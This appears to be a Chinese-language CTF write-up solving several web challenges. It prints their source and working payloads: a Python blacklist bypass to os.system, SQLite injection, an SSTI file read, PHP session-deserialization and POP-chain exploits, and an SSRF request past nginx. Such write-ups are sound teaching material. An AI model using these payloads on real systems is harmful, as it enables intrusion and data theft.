PyBlockly
题目打开是一个积木编程,
源码如下:
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
app = Flask(__name__)
#flask 自动对json的\u形式的unciode自动解码
app.config['JSON_AS_ASCII'] = False
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def module_exists(module_name):
spec = importlib.util.find_spec(module_name)
if spec is None:
return False
if module_name in sys.builtin_module_names:
return True
if spec.origin:
std_lib_path = os.path.dirname(os.__file__)
if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False
def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True
def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False
def block_to_python(block):
block_type = block['type']
code = ''
if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"
elif block_type == 'math_number':
if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
#检查text的非法字符
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
#unicode编码绕过
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
print(code)
elif block_type == 'max':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"
elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"
if 'next' in block:
block = block['next']['block']
code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code
def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]
python_code = ""
python_code += block_to_python(block) + "\n"
return python_code
def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"
@app.route('/')
def index():
return app.send_static_file('index.html')
@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})
if __name__ == '__main__':
app.run(host = '0.0.0.0')
由于禁用了很多字符,我们json传参全角符号绕过blacklist_pattern
https://zh.wikipedia.org/wiki/%E5%85%A8%E5%BD%A2%E5%92%8C%E5%8D%8A%E5%BD%A2
使用文中全角符号,中文字符通过 unicode.unicode 可以直接转英文字符,即绕过黑名单
‘)\nf=open(‘/flag’)\nprint(f.read())\n(’ # 回显为空,可能需要rce
‘)\nf=open(‘/proc/self/environ’)\nprint(f.read())\n(’ # 无泄漏
由于限制了事件的长度,我们需要覆盖len函数绕过长度检验
globals()['__builtins__'].len=lambda x: 1
然后便可以命令执行
’)\nglobals()[‘__builtins__’].len=lambda x: 1\n__import__(‘os’).system(‘dd if=/flag’)\n(‘
cat回显为空
ls查看权限
-r-------- 1 root root 39 Oct 31 06:51 /flag
suid提权
/bin/su
/bin/ls
/bin/dd
/bin/mount
/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
Payload
POST /blockly_json HTTP/1.1
Host: eci-2zebvccqe8nnivaz8wkj.cloudeci1.ichunqiu.com:5000
Sec-Fetch-Mode: cors
Accept: */*
Referer: http://127.0.0.1:5000/
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Requested-With: XMLHttpRequest
Origin: http://127.0.0.1:5000
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 541
{
"blocks": {
"languageVersion": 0,
"blocks": [
{
"type": "print",
"id": "TiB};t~~=3e-553@D|nx",
"x": 104,
"y": 183,
"inputs": {
"TEXT": {
"block": {
"type": "text",
"id": "4CexaB/|[s+j!|Pfd,:_",
"fields": {
"TEXT": "’)\nglobals()[‘__builtins__’].len=lambda x: 1\n__import__(‘os’).system(‘dd if=/flag’)\n(‘"
}
}
}
}
}
]
}
}
playground
题目描述是Go playground designed for newbie
源码如下
app.py
import base64
from flask import Flask, render_template, request, jsonify
import struct
import socket
import io
import os
app = Flask(__name__)
key = bytes.fromhex(open('/sandbox/sandbox.key', 'r').read())
indexHTML = open('index.html', 'r').read()
def run_in_sandbox(prog):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 2077))
chall = bytearray(s.recv(1024))
for i in range(len(chall)):
chall[i] ^= key[i % len(key)]
prog = bytearray(prog)
for i in range(len(prog)):
prog[i] ^= key[i % len(key)]
options = 52
pkt = io.BytesIO()
pkt.write(struct.pack('<II', len(prog) + len(chall), options))
pkt.write(chall)
pkt.write(prog)
s.send(pkt.getvalue())
output = io.BytesIO()
while True:
try:
data = s.recv(1024)
if not data:
break
output.write(data)
except:
break
s.close()
return output.getvalue()
@app.post('/api/run')
def run():
code = request.json['code']
dirname = os.urandom(24).hex()
os.mkdir(f'/tmp/{dirname}')
with open(f'/tmp/{dirname}/main.go', 'w') as f:
f.write(code)
ret = os.system(f'cd /tmp/{dirname}/ && go mod init playground && go build')
if ret != 0 or not os.path.exists(f'/tmp/{dirname}/playground'):
os.system(f'rm -rf /tmp/{dirname}')
return jsonify({'status': 'error'})
prog = open(f'/tmp/{dirname}/playground', 'rb').read()
os.system(f'rm -rf /tmp/{dirname}')
output = run_in_sandbox(prog)
return jsonify({'status': 'success', 'data': base64.b64encode(output).decode()})
@app.get('/')
def index():
headers = {
'Content-Type': 'text/html',
}
return (indexHTML, 200, headers)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
sandbox.c
// You're right, but writing code that smells like shit could make it harder for the company to optimize me.
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <signal.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <seccomp.h>
#define FATAL(msg) \
do \
{ \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define KEY_SIZE 64
#define KEY_PATH "sandbox.key"
#define SANDBOX_PATH "sandbox-workdir"
#define PORT 2077
#define BUFFER_SIZE 1024
int s = 0;
unsigned char key[KEY_SIZE];
int read_random_data(unsigned char *buf, size_t size)
{
int urandom = open("/dev/urandom", O_RDONLY);
if (urandom == -1)
return -1;
if (read(urandom, buf, size) != size)
return -1;
close(urandom);
return 0;
}
int set_up_strict_mode(unsigned int level)
{
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL)
FATAL("seccomp_init");
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(openat2), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(chmod), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fchmod), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(chown), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fchown), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(lchown), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (level >= 2)
{
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ioctl), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(mount), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
}
if (level >= 3)
{
if (setgid(65534) != 0)
{
perror("setgid");
return 1;
}
if (setuid(65534) != 0)
{
perror("setuid");
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setuid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setgid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setsid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setfsuid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setfsgid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setresuid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setresgid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setpgid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setreuid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(setregid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
}
if (level >= 4)
{
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(getpid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(getppid), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(chdir), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0) != 0)
{
perror("seccomp_rule_add");
seccomp_release(ctx);
return 1;
}
}
if (seccomp_load(ctx) != 0)
{
perror("seccomp_load");
seccomp_release(ctx);
return 1;
}
seccomp_release(ctx);
return 0;
}
void init()
{
if (read_random_data(key, sizeof(key)) != 0)
FATAL("read random data");
int fd = open(KEY_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd == -1)
FATAL("open key file");
for (int i = 0; i < sizeof(key); i++)
{
char buf[3];
snprintf(buf, sizeof(buf), "%02x", key[i]);
if (write(fd, buf, 2) != 2)
FATAL("write key file");
}
close(fd);
mkdir(SANDBOX_PATH, 0700);
if (chdir(SANDBOX_PATH) != 0)
FATAL("chdir");
}
void handle_connection(int c)
{
prctl(PR_SET_PDEATHSIG, SIGTERM);
unsigned char chall[KEY_SIZE];
read_random_data(chall, sizeof(chall));
send(c, chall, sizeof(chall), MSG_NOSIGNAL | MSG_DONTWAIT);
unsigned int size;
if (recv(c, &size, sizeof(size), 0) != sizeof(size))
return;
if (size > 64 * 1024 * 1024)
return;
unsigned int options;
if (recv(c, &options, sizeof(options), 0) != sizeof(options))
return;
unsigned int strict_mode_level = options & 0xf;
int redirect_stdout = (options >> 4) & 1;
int redirect_stderr = (options >> 5) & 1;
unsigned char *buf = malloc(size);
if (buf == NULL)
return;
unsigned int read_size = 0;
while (read_size < size)
{
ssize_t n = recv(c, buf + read_size, size - read_size, 0);
if (n <= 0)
{
free(buf);
return;
}
read_size += n;
}
for (unsigned int i = 0; i < KEY_SIZE; i++)
{
if ((buf[i] ^ chall[i]) != key[i])
{
free(buf);
return;
}
}
unsigned char *data = buf + KEY_SIZE;
for (unsigned int i = 0; i < size - KEY_SIZE; i++)
{
data[i] ^= key[i % KEY_SIZE];
}
unsigned char dir_name[KEY_SIZE * 2 + 1];
unsigned char dir_random[KEY_SIZE];
read_random_data(dir_random, sizeof(dir_random));
for (size_t i = 0; i < KEY_SIZE; i++)
{
snprintf(dir_name + i * 2, 3, "%02x", dir_random[i]);
}
mkdir(dir_name, 0755);
if (chdir(dir_name) != 0)
{
free(buf);
return;
}
int fd = open("prog", O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (fd == -1)
{
free(buf);
return;
}
if (write(fd, data, size - KEY_SIZE) != size - KEY_SIZE)
{
close(fd);
free(buf);
return;
}
free(buf);
close(fd);
chmod("prog", 0755);
int pipefd[2];
if (pipe(pipefd) == -1)
{
return;
}
int pid = fork();
if (pid == -1)
{
return;
}
if (pid == 0)
{
prctl(PR_SET_PDEATHSIG, SIGTERM);
close(pipefd[0]);
if (chroot(".") != 0)
exit(1);
if (chdir("/") != 0)
exit(1);
if (set_up_strict_mode(strict_mode_level) != 0)
exit(1);
if (redirect_stdout)
{
if (dup2(pipefd[1], 1) == -1)
{
exit(1);
}
}
if (redirect_stderr)
{
if (dup2(pipefd[1], 2) == -1)
{
exit(1);
}
}
execl("/prog", "/prog", NULL);
exit(0);
}
else
{
close(pipefd[1]);
unsigned int bytes_read = 0;
unsigned char buffer[BUFFER_SIZE];
while ((bytes_read = read(pipefd[0], buffer, BUFFER_SIZE - 1)) > 0)
{
send(c, buffer, bytes_read, MSG_NOSIGNAL | MSG_DONTWAIT);
}
close(pipefd[0]);
int status;
waitpid(pid, &status, 0);
send(c, "EOF", 3, MSG_NOSIGNAL | MSG_DONTWAIT);
chdir("..");
char rm_cmd[512];
snprintf(rm_cmd, sizeof(rm_cmd), "rm -rf %s", dir_name);
system(rm_cmd);
}
}
void handle_signal(int signal)
{
if (signal == SIGINT)
{
close(s);
exit(0);
}
if (signal == SIGCHLD)
{
wait(NULL);
}
}
int main()
{
init();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
FATAL("socket");
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(PORT);
if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1)
FATAL("bind");
if (listen(s, 5) == -1)
FATAL("listen");
signal(SIGINT, handle_signal);
signal(SIGCHLD, handle_signal);
while (1)
{
int c = accept(s, NULL, NULL);
if (c == -1)
FATAL("accept");
int pid = fork();
if (pid == -1)
FATAL("fork");
if (pid == 0)
{
close(s);
handle_connection(c);
shutdown(c, SHUT_RDWR);
close(c);
exit(0);
}
}
return 0;
}
package main
import "syscall"
func main() {
a := make([]byte, 0x100)
b, _ := syscall.Open("/flag", 0, 0)
syscall.Read(b, a)
syscall.Write(1, a)
}
这道playground思路应该是这样
- 获取/sandbox/sandbox.key(现在就是卡在这里)
- 因为sandbox程序中进行了chroot,需要逃逸从而Open获取flag。这里可以利用go程序跟sandbox进行交互,然后将option设置为1,就可以利用ptrace和mount之类的进行chroot逃逸了。(所以要想办法获取/sandbox/sandbox.key,但这里已经chroot,无法获取)
读/sandbox/sandbox.key的思路 - 利用Cgo,用C去include。但是由于app.py不返回编译错误结果,失败
package main
/*
#include <stdio.h>
#include "/sandbox/sandbox.key"
void hello() {
printf("Hello from C!\n");
}
*/
import "C"
func main() {
C.hello()
}
- 利用embed
但是go embed好像不支持绝对路径以及目录穿越,失败
package main
import (
_ "embed"
"fmt"
)
//go:embed /sandbox/sandbox.key
var key string
func main() {
fmt.Println(key)
}
// main.go
package main
import (
"fmt"
"io/ioutil"
"os"
)
func init() {
// 在编译时运行的代码
if _, err := os.Stat("key.txt"); os.IsNotExist(err) {
// 尝试读取 /sandbox/sandbox.key
data, err := ioutil.ReadFile("/sandbox/sandbox.key")
if err != nil {
// 如果读取失败,写入一个占位符
data = []byte("failed to read key")
}
// 将密钥写入 key.txt
ioutil.WriteFile("key.txt", data, 0644)
}
}
func main() {
// 运行时读取 key.txt
data, err := ioutil.ReadFile("key.txt")
if err != nil {
fmt.Println("Error reading key.txt:", err)
return
}
fmt.Println(string(data))
}
Xiaohuanxiong
这道题是一个小浣熊漫画cms的0day,要自行挖掘漏洞
初次启动容器先访问/install
原cms删库
应该用的是下面这个
https://github.com/forkable/xiaohuanxiong
访问admin的authors路由发现未授权
然后我们访问admins添加管理员
可以修改php配置代码rce拿到flag
然后我们访问首页即可加载配置文件getshell
Snake
贪吃蛇游戏看着要吃一定分数,但是速度太快不能直接手玩,并且碰到蛇身体也会game over
用算法写一个寻路脚本来自动玩游戏:
import requests
import json
import numpy as np
from queue import PriorityQueue
from copy import deepcopy as dcp
url = "http://eci-2ze28vznmiok836ummk1.cloudeci1.ichunqiu.com:5000"
req = requests.session()
direc = ("RIGHT", "DOWN", "LEFT", "UP")
size = 20
board = np.zeros((size, size), dtype=int)
QUE = PriorityQueue()
FourDirec = lambda x, y: [
(x + 1, y, 1),
(x - 1, y, 3),
(x, y + 1, 0),
(x, y - 1, 2),
]
def Login_Start(name):
req.post(url + "/set_username", data={"username": name})
req.get(url)
def sendmove(direction):
res = req.post(url + "/move", json={"direction": direction})
# print(res.text)
data = json.loads(res.text)
if data["status"] == "ok":
food = data["food"][::-1]
snake = [i[::-1] for i in data["snake"]]
score = data["score"]
# print(food, snake)
return food, snake, score
else:
print(res.text)
exit()
def find_path(food, snake):
head = snake[0]
dist = abs(food[0] - head[0]) + abs(food[1] - head[1])
path = [(-1, -1, dist)]
heads = [head]
QUE.queue.clear()
QUE.put((dist, dcp(snake), 0))
while not QUE.empty():
temp = QUE.get()
# print(temp)
dist, snake, pth = temp
head = snake[0]
if head[0] == food[0] and head[1] == food[1]:
while pth != 0:
pth, p, dist = path[pth]
# print(heads[pth], direc[p])
return direc[p]
for x, y, p in FourDirec(head[0], head[1]):
if 0 <= x < size and 0 <= y < size and [x, y] not in snake:
newsnake = [[x, y]] + dcp(snake)[:-1]
dist = abs(x - food[0]) + abs(y - food[1])
path.append((pth, p, dist))
heads.append([x, y])
QUE.put((dist, dcp(newsnake), len(path) - 1))
def draw(snake, food):
board = np.zeros((size, size), dtype=int)
board[food[0], food[1]] = 2
for i in snake:
board[i[0], i[1]] = 1
print(board)
if __name__ == "__main__":
Login_Start("test")
food, snake, sc = sendmove("RIGHT")
# print(food, snake)
# draw(snake, food)
while 1:
dire = find_path(food, snake)
print(sc, dire, food, snake)
food, snake, sc = sendmove(dire)
draw(snake, food)
贪吃蛇到达50长度,给了一个路由:具有单引号SQL注入 三列 有回显
http://url/snake_win?username=
测试出来是sqlite注入
-1'union select 1,2,sqlite_version()--+
查询执行的sql语句 拿到列名
-1'union select 1,2,(select sql from sqlite_master limit 0,1)--+
拿表
-1%27union%20select%201,2,(SELECT group_concat(tbl_name) FROM sqlite_master )--+
发现没数据,测试是通过select来触发ssti漏洞发现成功拿到flag
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
platform
任何人都能登录的平台
扫了一些发现源码泄露:/www.zip
主要文件的源码如下
index.php
<?php
session_start();
require 'user.php';
require 'class.php';
$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$_SESSION['user']['a'] = $username;
$_SESSION['user']['b'] = "test";
if (!isset($_SESSION['session_key'])) {
$_SESSION['session_key'] = $SessionRandom->generateRandomString();
}
$_SESSION['password'] = $password;
$result = $sessionManager->filterSensitiveFunctions();
header('Location: dashboard.php');
exit();
} else {
require 'login.php';
}
class.php
<?php
class notouchitsclass
{
public $data;
public function __construct($data)
{
$this->data = $data;
}
public function __destruct()
{
eval($this->data);
}
}
class SessionRandom
{
public function generateRandomString()
{
$length = rand(1, 50);
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
}
class SessionManager
{
private $sessionPath;
private $sessionId;
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open']; #
# 5 4 4 8 10 5 9
public function __construct()
{
if (session_status() == PHP_SESSION_NONE) {
throw new Exception("Session has not been started. Please start a session before using this class.");
}
$this->sessionPath = session_save_path();
$this->sessionId = session_id();
}
private function getSessionFilePath()
{
return $this->sessionPath . "/sess_" . $this->sessionId;
}
public function filterSensitiveFunctions()
{
#session文件
$sessionFile = $this->getSessionFilePath();
if (file_exists($sessionFile)) {
#读取session文件
$sessionData = file_get_contents($sessionFile);
foreach ($this->sensitiveFunctions as $function) {
#waf查看有无敏感函数
if (strpos($sessionData, $function) !== false) {
#换为空
$sessionData = str_replace($function, '', $sessionData);
}
}
#写回session文件
file_put_contents($sessionFile, $sessionData);
return "Sensitive functions have been filtered from the session file.";
} else {
return "Session file not found.";
}
}
}
本地测试session反序列化格式
由于存在替换,通过字符串减少逃逸来写入恶意的序列化数据,由于session_key长度不固定所以我们每次爆破session_key来爆破出来,脚本如下:
import requests
session = requests.session()
#session.proxies = {'http':'http://127.0.0.1:8080'}
def b(id : str):
burp0_url = "http://127.0.0.1:22322/"
burp0_cookies = {"PHPSESSID": id}
burp0_data = {
"username": "evalevalevalevalevalevalevalevalevalevalevalevalevaleval",
"password": '";session_key|s:20:"aaaaaaaaaaaaaaaaaaaa";password|O:15:"notouchitsclass":1:{s:4:"data";S:15:"\\65\\76\\61\\6c\\28\\24\\5f\\47\\45\\54\\5b\\31\\5d\\29\\3b";};a|s:1:"a'
}
session.post(burp0_url+'index.php', cookies=burp0_cookies, data=burp0_data)
session.post(burp0_url+'index.php', cookies=burp0_cookies, data=burp0_data)
param = {
'1' : 'phpinfo();'
}
res = session.get(burp0_url+'dashboard.php', cookies=burp0_cookies, params=param)
# res = session.get(burp0_url+'dashboard.php', cookies=burp0_cookies, params=param)
return res.text
i = 0
while True:
t = b(str(i))
if len(t) > 10000:
print(i)
break
i += 1
用session去访问拿到shell
Proxy
给了go的源码main.go
package main
import (
"bytes"
"io"
"net/http"
"os/exec"
"github.com/gin-gonic/gin"
)
type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}
func main() {
r := gin.Default()
v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}
v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}
if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}
return nil
},
}
req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}
c.Writer.Write(body)
c.Abort()
})
}
r.Run("127.0.0.1:8769")
}
proxy.conf如下禁止访问v1路由
server {
listen 8000;
location ~ /v1 {
return 403;
}
location ~ /v2 {
proxy_pass http://localhost:8769;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
直接访问go端口,绕过nginx403
go:8769
nginx:8000
payload如下
POST /v2/api/proxy HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:5870
{"URL": "http://127.0.0.1:8769/v1/api/flag", "Method": "POST", "Body": ""}
Password Game
Password Game 题目提示:正确的解不会经过错误的代码,请观察一下是否能篡改可以输出的地方。
可以说是见过的最恶心的一道php pop链反序列化绕过
玩游戏之后给了源码
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}
class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}
public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}
// O:4:"root":2:{S:8:"username";S:5:"\61\64\6d\69\6e";S:5:"value";S:7:"\32\30\32\34\71\77\62";}
// 1b1e61b2551a1468789525d7166b4e13
// O:4:"root":3:{s:8:"username";S:5:"\61\64\6d\69\6e";s:5:"value";S:7:"\32\30\32\34\71\77\62";s:2:"nn";O:4:"user":1:{s:8:"username";R:3;}}
像是字符逃逸,然后有个value局部变量会会报错导致链子中断所以不能走invoke是一个陷阱,
由于$user->password
的调用,我们可以不走destruct而触发get来当作链子起点,然后$this->value就有了flag值
$this->value = $GLOBALS["flag"];
然后最后我们是在destruct中的echo来回显值,通过引用来将value值输出
注意:由于destruct中的if判断试弱比较所以可以进入if执行语句!
构造pop.php如下即可绕过并输出flag
<?php
class root{
public $username = "admin";
public $value = "2024qwb";
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$a = new root;
$a->nn = new user;
$a->nn->username = &$a->value;
echo serialize($a);
// $s = 'O:4:"root":2:{s:8:"username";S:5:"\61\64\6d\69\6e";s:5:"value";S:7:"\32\30\32\34\71\77\62";}';
-
-
-
-
-
-
-